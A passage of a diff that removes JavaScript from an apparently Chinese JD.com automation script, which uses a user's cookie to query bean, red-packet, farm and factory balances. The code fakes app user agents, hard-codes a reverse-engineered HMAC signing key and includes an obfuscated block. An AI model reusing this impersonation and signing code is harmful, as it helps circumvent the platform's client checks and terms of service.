(KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - $.levelName = data.data.userInfo.baseInfo.levelName; - $.isPlusVip = data.data.userInfo.isPlusVip; - - } - if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { - $.beanCount = data.data && data.data['assetInfo']['beanNum']; - } else { - $.errorMsg = `数据异常`; - } - } else { - $.log('京东服务器返回空数据,将无法获取等级及VIP信息'); - } - } - } catch (e) { - $.logErr(e) - } - finally { - resolve(); - } - }) - }) -} -function TotalBean2() { - return new Promise(async(resolve) => { - const options = { - url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, - headers: { - Cookie: cookie, - 'content-type': `application/x-www-form-urlencoded`, - Connection: `keep-alive`, - 'Accept-Encoding': `gzip,compress,br,deflate`, - Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, - Host: `wxapp.m.jd.com`, - 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, - }, - }; - $.post(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - if (!data.user) { - return; - } - const userInfo = data.user; - if (userInfo) { - if (!$.nickName) - $.nickName = userInfo.petName; - if ($.beanCount == 0) { - $.beanCount = userInfo.jingBean; - $.isPlusVip = 3; - } - $.JingXiang = userInfo.uclass; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e); - } - finally { - resolve(); - } - }); - }); -} - -function isLoginByX1a0He() { - return new Promise((resolve) => { - const options = { - url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', - headers: { - "Cookie": cookie, - "referer": "https://h5.m.jd.com/", - "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }, - } - $.get(options, (err, resp, data) => { - try { - if (data) { - data = JSON.parse(data); - if (data.islogin === "1") { - console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) - } else if (data.islogin === "0") { - $.isLogin = false; - console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) - } else { - console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) - $.error = `${$.nickName} :` + `使用X1a0He写的接口加强检测: 未知返回...\n` - } - } - } catch (e) { - console.log(e); - } - finally { - resolve(); - } - }); - }); -} - -function getJingBeanBalanceDetail(page) { - return new Promise(async resolve => { - const options = { - "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, - "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, - "headers": { - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Host': 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Cookie': cookie, - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - // console.log(data) - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(data); - } - }) - }) -} -function queryexpirejingdou() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, - "headers": { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Host": "wq.jd.com", - "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" - } - } - $.expirejingdou = 0; - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data) - data = JSON.parse(data.slice(23, -13)); - // console.log(data) - if (data.ret === 0) { - data['expirejingdou'].map(item => { - //console.log(`${timeFormat(item['time'] * 1000)}日过期京豆:${item['expireamount']}\n`); - }) - $.expirejingdou = data['expirejingdou'][0]['expireamount']; - // if ($.expirejingdou > 0) { - // $.message += `\n今日将过期:${$.expirejingdou}京豆 🐶`; - // } - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(); - } - }) - }) -} - -function redPacket() { - return new Promise(async resolve => { - const options = { - "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, - "headers": { - 'Host': 'm.jingxi.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Accept-Language': 'zh-cn', - 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', - 'Accept-Encoding': 'gzip, deflate, br', - "Cookie": cookie, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data).data; - $.jxRed = 0, - $.jsRed = 0, - $.jdRed = 0, - $.jdhRed = 0, - $.jxRedExpire = 0, - $.jsRedExpire = 0, - $.jdRedExpire = 0, - $.jdhRedExpire = 0; - let t = new Date(); - t.setDate(t.getDate() + 1); - t.setHours(0, 0, 0, 0); - t = parseInt((t - 1) / 1000); - for (let vo of data.useRedInfo.redList || []) { - if (vo.orgLimitStr && vo.orgLimitStr.includes("京喜")) { - $.jxRed += parseFloat(vo.balance) - if (vo['endTime'] === t) { - $.jxRedExpire += parseFloat(vo.balance) - } - } else if (vo.activityName.includes("极速版")) { - $.jsRed += parseFloat(vo.balance) - if (vo['endTime'] === t) { - $.jsRedExpire += parseFloat(vo.balance) - } - } else if (vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")) { - $.jdhRed += parseFloat(vo.balance) - if (vo['endTime'] === t) { - $.jdhRedExpire += parseFloat(vo.balance) - } - } else { - $.jdRed += parseFloat(vo.balance) - if (vo['endTime'] === t) { - $.jdRedExpire += parseFloat(vo.balance) - } - } - } - $.jxRed = $.jxRed.toFixed(2); - $.jsRed = $.jsRed.toFixed(2); - $.jdRed = $.jdRed.toFixed(2); - $.jdhRed = $.jdhRed.toFixed(2); - $.balance = data.balance; - $.expiredBalance = ($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2); - $.message += `【红包总额】${$.balance}(总过期${$.expiredBalance})元 \n`; - if ($.jxRed > 0) - $.message += `【京喜红包】${$.jxRed}(将过期${$.jxRedExpire.toFixed(2)})元 \n`; - if ($.jsRed > 0) - $.message += `【极速红包】${$.jsRed}(将过期${$.jsRedExpire.toFixed(2)})元 \n`; - if ($.jdRed > 0) - $.message += `【京东红包】${$.jdRed}(将过期${$.jdRedExpire.toFixed(2)})元 \n`; - if ($.jdhRed > 0) - $.message += `【健康红包】${$.jdhRed}(将过期${$.jdhRedExpire.toFixed(2)})元 \n`; - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(data); - } - }) - }) -} - -function getJdZZ() { - return new Promise(resolve => { - $.get(taskJDZZUrl("interactTaskIndex"), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`京东赚赚API请求失败,请检查网路重试`); - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.JdzzNum = data.data.totalNum; - } - } - } catch (e) { - //$.logErr(e, resp) - console.log(`京东赚赚数据获取失败`); - } - finally { - resolve(data); - } - }) - }) -} - -function taskJDZZUrl(functionId, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/json', - 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - -function getMs() { - return new Promise(resolve => { - $.post(taskMsPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - if (data.code === 2041 || data.code === 2042) { - $.JdMsScore = data.result.assignment.assignmentPoints || 0 - } - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(data); - } - }) - }) -} - -function taskMsPostUrl(function_id, body = {}, extra = '', function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -async function getjdfruit() { - return new Promise(resolve => { - const option = { - url: `${JD_API_HOST}?functionId=initForFarm`, - body: `body=${escape(JSON.stringify({"version":4}))}&appid=wh5&clientVersion=9.1.0`, - headers: { - "accept": "*/*", - "accept-encoding": "gzip, deflate, br", - "accept-language": "zh-CN,zh;q=0.9", - "cache-control": "no-cache", - "cookie": cookie, - "origin": "https://home.m.jd.com", - "pragma": "no-cache", - "referer": "https://home.m.jd.com/myJd/newhome.action", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "same-site", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Content-Type": "application/x-www-form-urlencoded" - }, - timeout: 10000, - }; - $.post(option, (err, resp, data) => { - try { - if (err) { - console.log('\n东东农场: API查询请求失败 ‼️‼️'); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (safeGet(data)) { - $.farmInfo = JSON.parse(data) - if ($.farmInfo.farmUserPro) { - $.JdFarmProdName = $.farmInfo.farmUserPro.name; - $.JdtreeEnergy = $.farmInfo.farmUserPro.treeEnergy; - $.JdtreeTotalEnergy = $.farmInfo.farmUserPro.treeTotalEnergy; - $.treeState = $.farmInfo.treeState; - let waterEveryDayT = $.JDwaterEveryDayT; - let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10; //一共还需浇多少次水 - let waterD = Math.ceil(waterTotalT / waterEveryDayT); - - $.JdwaterTotalT = waterTotalT; - $.JdwaterD = waterD; - } - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(); - } - }) - }) -} - -function jdfruitRequest(function_id, body = {}, timeout = 1000) { - return new Promise(resolve => { - setTimeout(() => { - $.get(taskfruitUrl(function_id, body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东农场: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - console.log(`function_id:${function_id}`) - $.logErr(err); - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.JDwaterEveryDayT = data.totalWaterTaskInit.totalWaterTaskTimes; - } - } - } catch (e) { - $.logErr(e, resp); - } - finally { - resolve(data); - } - }) - }, timeout) - }) -} - -async function PetRequest(function_id, body = {}) { - await $.wait(3000); - return new Promise((resolve, reject) => { - $.post(taskPetUrl(function_id, body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } - finally { - resolve(data) - } - }) - }) -} -function taskPetUrl(function_id, body = {}) { - body["version"] = 2; - body["channel"] = 'app'; - return { - url: `${JD_API_HOST}?functionId=${function_id}`, - body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, - headers: { - 'Cookie': cookie, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Host': 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - } - }; -} - -function taskfruitUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&body=${escape(JSON.stringify(body))}`, - headers: { - Cookie: cookie, - UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - }, - timeout: 10000, - } -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function cash() { - return new Promise(resolve => { - $.get(taskcashUrl('MyAssetsService.execute', { - "method": "userCashRecord", - "data": { - "channel": 1, - "pageNum": 1, - "pageSize": 20 - } - }), - async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.JDtotalcash = data.data.goldBalance; - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(data); - } - }) - }) -} - -var __Oxb24bc = ["lite-android&", "stringify", "&android&3.1.0&", "&", "&846c4c32dae910ef", "12aea658f76e453faf803d15c40a72e0", "isNode", "crypto-js", "", "api?functionId=", "&body=", "&appid=lite-android&client=android&uuid=846c4c32dae910ef&clientVersion=3.1.0&t=", "&sign=", "api.m.jd.com", "*/*", "RN", "JDMobileLite/3.1.0 (iPad; iOS 14.4; Scale/2.00)", "zh-Hans-CN;q=1, ja-CN;q=0.9", "undefined", "log", "", "", "", "", "jsjia", "mi.com"]; - -function taskcashUrl(_0x7683x2, _0x7683x3 = {}) { - let _0x7683x4 = +new Date(); - let _0x7683x5 = `${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`; - let _0x7683x6 = __Oxb24bc[0x5]; - const _0x7683x7 = $[__Oxb24bc[0x6]]() ? require(__Oxb24bc[0x7]) : CryptoJS; - let _0x7683x8 = _0x7683x7.HmacSHA256(_0x7683x5, _0x7683x6).toString(); - return { - url: `${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`, - headers: { - 'Host': __Oxb24bc[0xd], - 'accept': __Oxb24bc[0xe], - 'kernelplatform': __Oxb24bc[0xf], - 'user-agent': __Oxb24bc[0x10], - 'accept-language': __Oxb24bc[0x11], - 'Cookie': cookie - } - } -} -(function (_0x7683x9, _0x7683xa, _0x7683xb, _0x7683xc, _0x7683xd, _0x7683xe) { - _0x7683xe = __Oxb24bc[0x12]; - _0x7683xc = function (_0x7683xf) { - if (typeof alert !== _0x7683xe) { - alert(_0x7683xf) - }; - if (typeof console !== _0x7683xe) { - console[__Oxb24bc[0x13]](_0x7683xf) - } - }; - _0x7683xb = function (_0x7683x7, _0x7683x9) { - return _0x7683x7 + _0x7683x9 - }; - _0x7683xd = _0x7683xb(__Oxb24bc[0x14], _0x7683xb(_0x7683xb(__Oxb24bc[0x15], __Oxb24bc[0x16]), __Oxb24bc[0x17])); - try { - _0x7683x9 = __encode; - if (!(typeof _0x7683x9 !== _0x7683xe && _0x7683x9 === _0x7683xb(__Oxb24bc[0x18], __Oxb24bc[0x19]))) { - _0x7683xc(_0x7683xd) - } - } catch (e) { - _0x7683xc(_0x7683xd) - } -})({}) - -async function JxmcGetRequest() { - let url = ``; - let myRequest = ``; - url = `https://m.jingxi.com/jxmc/queryservice/GetHomePageInfo?channel=7&sceneid=1001&activeid=null&activekey=null&isgift=1&isquerypicksite=1&_stk=channel%2Csceneid&_ste=1`; - url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; - myRequest = getGetRequest(`GetHomePageInfo`, url); - - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`API请求失败,请检查网路重试`) - $.runFlag = false; - console.log(`请求失败`) - } else { - data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); - if (data.ret === 0) { - $.JDEggcnt = data.data.eggcnt; - } - } - } catch (e) { - console.log(data); - $.logErr(e, resp) - } - finally { - resolve(); - } - }) - }) -} - -// 惊喜工厂信息查询 -function getJxFactory() { - return new Promise(async resolve => { - let infoMsg = ""; - let strTemp = ""; - await $.get(jxTaskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async(err, resp, data) => { - try { - if (err) { - $.jxFactoryInfo = ""; - //console.log("jx工厂查询失败" + err) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['ret'] === 0) { - data = data['data']; - $.unActive = true; //标记是否开启了京喜活动或者选购了商品进行生产 - if (data.factoryList && data.productionList) { - const production = data.productionList[0]; - const factory = data.factoryList[0]; - //const productionStage = data.productionStage; - $.commodityDimId = production.commodityDimId; - // subTitle = data.user.pin; - await GetCommodityDetails(); //获取已选购的商品信息 - infoMsg = `${$.jxProductName}(${((production.investedElectric / production.needElectric) * 100).toFixed(0)}%`; - if (production.investedElectric >= production.needElectric) { - if (production['exchangeStatus'] === 1) { - infoMsg = `${$.jxProductName}已可兑换`; - $.jxFactoryReceive = `${$.jxProductName}`; - } - if (production['exchangeStatus'] === 3) { - if (new Date().getHours() === 9) { - infoMsg = `兑换超时,请重选商品!`; - } - } - // await exchangeProNotify() - } else { - strTemp = `,${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(0)}天)`; - if (strTemp == ",0天)") - infoMsg += ",今天)"; - else - infoMsg += strTemp; - } - if (production.status === 3) { - infoMsg = "商品已失效,请重选商品!"; - } - } else { - $.unActive = false; //标记是否开启了京喜活动或者选购了商品进行生产 - if (!data.factoryList) { - infoMsg = "" - // $.msg($.name, '【提示】', `京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动`); - } else if (data.factoryList && !data.productionList) { - infoMsg = "" - } - } - } - } else { - console.log(`GetUserInfo异常:${JSON.stringify(data)}`) - } - } - $.jxFactoryInfo = infoMsg; - // console.log(infoMsg); - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(); - } - }) - }) -} - -// 惊喜的Taskurl -function jxTaskurl(functionId, body = '', stk) { - let url = `https://m.jingxi.com/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` - url += `&h5st=${decrypt(Date.now(), stk, '', url)}` - if (stk) { - url += `&_stk=${encodeURIComponent(stk)}`; - } - return { - url, - headers: { - 'Cookie': cookie, - 'Host': 'm.jingxi.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', - 'Accept-Language': 'zh-cn', - 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - -//惊喜查询当前生产的商品名称 -function GetCommodityDetails() { - return new Promise(async resolve => { - // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; - $.get(jxTaskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['ret'] === 0) { - data = data['data']; - $.jxProductName = data['commodityList'][0].name; - } else { - console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(); - } - }) - }) -} - -// 东东工厂信息查询 -async function getDdFactoryInfo() { - // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 - let infoMsg = ""; - return new Promise(resolve => { - $.post(ddFactoryTaskUrl('jdfactory_getHomeData'), async(err, resp, data) => { - try { - if (err) { - $.ddFactoryInfo = "获取失败!" - /*console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`)*/ - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - // $.newUser = data.data.result.newUser; - //let wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); - if (data.data.result.factoryInfo) { - let { - totalScore, - useScore, - produceScore, - remainScore, - couponCount, - name - } = data.data.result.factoryInfo; - if (couponCount == 0) { - infoMsg = `${name} 没货了,死了这条心吧!` - } else { - infoMsg = `${name}(${((remainScore * 1 + useScore * 1) / (totalScore * 1)* 100).toFixed(0)}%,剩${couponCount})` - } - if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { - // await jdfactory_addEnergy(); - infoMsg = `${name} 可以兑换了!` - $.DdFactoryReceive = `${name}`; - - } - - } else { - infoMsg = `` - } - } else { - $.ddFactoryInfo = "" - } - } - } - $.ddFactoryInfo = infoMsg; - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(); - } - }) - }) -} - -function ddFactoryTaskUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Cookie": cookie, - "Host": "api.m.jd.com", - "Origin": "https://h5.m.jd.com", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", - "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }, - timeout: 10000, - } -} - -async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { - return new Promise(resolve => { - $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`汪汪乐园 API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.success) { - $.joylevel = data.data.level; - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(); - } - }) - }) -} -function taskPostClientActionUrl(body) { - return { - url: `https://api.m.jd.com/client.action?functionId=joyBaseInfo`, - body: body, - headers: { - 'User-Agent': $.user_agent, - 'Content-Type': 'application/x-www-form-urlencoded', - 'Host': 'api.m.jd.com', - 'Origin': 'https://joypark.jd.com', - 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', - 'Cookie': cookie, - } - } -} -function randomString(e) { - e = e || 32; - let t = "0123456789abcdef", - a = t.length, - n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function getGetRequest(type, url) { - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - - const method = `GET`; - let headers = { - 'Origin': `https://st.jingxi.com`, - 'Cookie': cookie, - 'Connection': `keep-alive`, - 'Accept': `application/json`, - 'Referer': `https://st.jingxi.com/pingou/jxmc/index.html`, - 'Host': `m.jingxi.com`, - 'User-Agent': UA, - 'Accept-Encoding': `gzip, deflate, br`, - 'Accept-Language': `zh-cn` - }; - return { - url: url, - method: method, - headers: headers - }; -} - -Date.prototype.Format = function (fmt) { - var e, - n = this, - d = fmt, - l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, 